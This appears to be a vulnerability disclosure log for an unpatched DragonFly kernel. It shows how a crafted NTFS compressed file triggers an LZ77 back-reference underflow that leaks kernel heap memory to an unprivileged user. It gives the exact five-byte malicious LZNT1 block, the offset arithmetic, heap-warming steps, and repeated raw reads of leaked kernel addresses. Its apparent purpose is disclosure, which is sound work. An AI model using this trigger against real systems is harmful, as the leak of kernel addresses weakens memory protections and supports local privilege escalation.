=== DF-0932 live in-kernel LZ77 underflow leak — raw leaked bytes ===

Setup: DragonFly 6.5-DEVELOPMENT #0 (unpatched) GENERIC kernel.
NTFS image ntfs_evil.img mounted root-only with -u=1001,-g=1001
mapping so unprivileged maxx (uid 1001) can read files.

Trigger: compressed file F at MFT record 32.
  LZNT1 block (5 B):  0x02 0x80 0x01 0xFF 0xFF
    header 0x8002 (compressed, len=2)
    tag    0x01   (first sub-token = back-reference)
    token  0xFFFF (LE) -> at pos=0 dshift=12 lmask=0xFFF:
       boff = -1 - (0xFFFF>>12) = -16
       blen = 3 + (0xFFFF & 0xFFF) = 4098
       -> buf[pos+boff] reads buf[-16..-1] (slab neighbour of uup)
       -> LZ77 sliding window propagates the 16 leaked bytes
          across all of buf[0..4095]
       -> uiomove at ntfs_subr.c:1723 ships leaked bytes to reader

--- Run A (early in session, no heap warming) ---
read 1: first 16 bytes = 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
        (slab neighbour was a zero-filled page in this state)

--- Run B (after heap-warming activity: find / -name '*.ko') ---
The slab neighbour of uup becomes a populated kernel object.
Repeated reads give a STABLE, identical 16-byte pattern (kernel heap):

  read 1: 00 70 bd 00 08 00 00 00 c0 34 6a 00 08 00 00 00
  read 2: 00 70 bd 00 08 00 00 00 c0 34 6a 00 08 00 00 00
  read 3: 00 70 bd 00 08 00 00 00 c0 34 6a 00 08 00 00 00
  read 4: 00 70 bd 00 08 00 00 00 c0 34 6a 00 08 00 00 00
  read 5: 00 70 bd 00 08 00 00 00 c0 34 6a 00 08 00 00 00

These are DragonFly kernel heap addresses:
  LE u64 at +0: 0x00000008_00bd7000  (kernel virtual address)
  LE u64 at +8: 0x00000008_006a34c0  (kernel virtual address)

(An earlier session showed f8 ff f9 ff fa ff fb ff fc ff fd ff fe ff ff ff,
 the tail of the $UpCase table that the kernel had loaded into RAM during
 mount — also kernel heap memory.)

--- Reproducible as unprivileged user (uid 1001, maxx, NOT in wheel) ---
$ id
uid=1001(maxx) gid=1001(maxx) groups=1001(maxx)
$ cat /mnt/evil/F | head -c 16 | od -An -tx1
 00 70 bd 00 08 00 00 00 c0 34 6a 00 08 00 00 00

=== Conclusion ===
The bytes returned at the start of the file are KERNEL HEAP MEMORY
preceding the M_NTFSDECOMP uup allocation. They are not present in
the file's logical content and are not derivable from the on-disk
image alone -- the kernel is leaking its own heap to userspace via
the unchecked LZ77 back-reference displacement at ntfs_compr.c:82.